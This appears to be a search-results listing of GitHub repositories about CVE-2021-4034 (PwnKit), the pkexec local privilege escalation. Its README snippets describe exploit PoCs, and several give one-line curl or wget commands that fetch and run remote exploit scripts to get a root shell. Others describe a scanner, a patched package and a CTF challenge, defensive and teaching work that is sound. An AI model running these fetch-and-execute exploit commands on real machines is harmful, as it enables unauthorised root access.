322 matches found
CVE-2021-4034_Python3
CVE-2021-4034Python3...
PwnKit_CVE-2021-4034
PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/b1gn0se/PwnKitCVE-2021-4034/main/PwnKit.sh"...
pkexec-lpe-poc
pkexec-lpe-poc POC for CVE-2021-4034 Original Writeup For ease of use, it accepts a C file payload instead of a hardcoded shell. usage: make ./poc payload.c tested on Ubuntu 20.04.3 LTS - Linux target 5.4.0-81-generic...
cve-2021-4034
CVE-2021-4034 this tool use for pkexec single command execute POC whoami test@localhost cc$ ./a.out /usr/bin/whoami execute success : root ping 8.8.8.8 test@localhost cc$ ./a.out /usr/bin/ping 8.8.8.8 execute success : PING 8.8.8.8 8.8.8.8 5684 bytes of data. 64 bytes from 8.8.8.8: icmpseq=1...
polkit-0.96-CVE-2021-4034
polkit-0.96-CVE-2021-4034 CentOS 7.x already has an RPM package that fixes the CVE-2021-4034 vulnerability, but I couldn't find one for CentOS 6.x. I created and packaged the RPM myself by referring to the source code Red Hat has already fixed 6.x, but I couldn't find a download location...
CVE-2021-4034
CVE-2021-4034 Three PoCs, two collected from elsewhere, one is my own — converted the Python3 script into a Python2 script. Usage: C usage: gcc cve-2021-4034-poc.c -o exp ./exp Python2 usage: python2 CVE-2021-4034-py2.py Python3 usage: python3 CVE-2021-4034-py3.py Feel free to give a star...
log4j-polkit-poc
log4j CVE-2021-44228 + polkit CVE-2021-4034 Vulnerable instance for the log4j apache exploit and privilege escalation using polkit The vulnable spring-boot-application.jar was extracted from this docker image The malicious JNDI server was downloaded from here and referenced in this article. PoC...
PwnKit-Hunter
Background Last week, a significant vulnerability in polkit’s pkexec was publicly disclosed link. By exploiting this vulnerability, attackers on a vulnerable host could easily gain full root privileges from any unprivileged user. Following the public disclosure of this “PwnKit” vulnerability, we...
pwnkit-go
Pwnkit-go This is a working exploit for the pwnkit vulnerability, CVE-2021-4034, written in Go Give it a try: create a vulnerable vagrant machine $ make vm ... build the binary and scp it to the vagrant box $ make scp ssh onto the vagrant box $ make ssh The default user is "vagrant"...
poc-cve-2021-4034
poc-cve-2021-4034 PoC for CVE-2021-4034 dubbed pwnkit How to use just run make make then check release folder or if you prefer the one liner sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" Enjoy...
CVE-2021-4034-CTF-writeup
CVE-2021-4034-CTF-writeup This is a CTF pwn challenge that I wrote in C which requires the user to exploit the CVE-2021-4034 vulnerability. Players are given 2 binaries in the challenge directory in this repo. The chal binary implements the CTF challenge and the shelly.so is a helper binary. How ...
CVE-2021-4034
CVE-2021-4034 A simple proof-of-concept for CVE-2021-4034 pkexec local privilege escalation. Based on the excellent summary by our friends at Qualsys. How do? 1. Clone this repository onto a machine with a vulnerable version of pkexec. 2. ./run.sh 3. Shenanigans...
pwnkit-scanner
PwnKit Scanner Check CVE-2021-4034 vulnerability This test is not 100% reliable, but it helps with a quick scan. How to use Linux Debian based systems: wget https://raw.githubusercontent.com/codiobert/pwnkit-scanner/main/pwnkit-scanner-debian.sh -q -O - |bash How to use Linux Red Hat based system...
WHS4_CVE-2021-4034
CVE-2021-4034 PwnKit - Local Privilege Escalation PoC 🔗 Original Project : berdav/CVE-2021-4034 This project is an educational analysis and modification based on the original. MIT License Compliant | White Hat School Training Task 📋 Overview CVE-2021-4034 is a local privilege escalation...
PwnKit-CVE-2021-4034
PwnKit PoC for PwnKit / CVE-2021-4034 - Pkexec Local Privilege Escalation Exploit Manually curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command Patched Running the exploit...
pkwner
██████╗ ██╗ ██╗██╗ ██╗███╗ ██╗███████╗██████╗ ██╔══██╗██║ ██╔╝██║ ██║████╗ ██║██╔════╝██╔══██╗ ██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗ ██████╔╝ ██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝ ██╔══██╗ ██║ ██║ ██╗╚███╔███╔╝██║ ╚████║███████╗██║ ██║ ╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝ A...
CVE-2021-4034
This repository does not have a README...
CVE-2021-4034
CVE-2021-4034...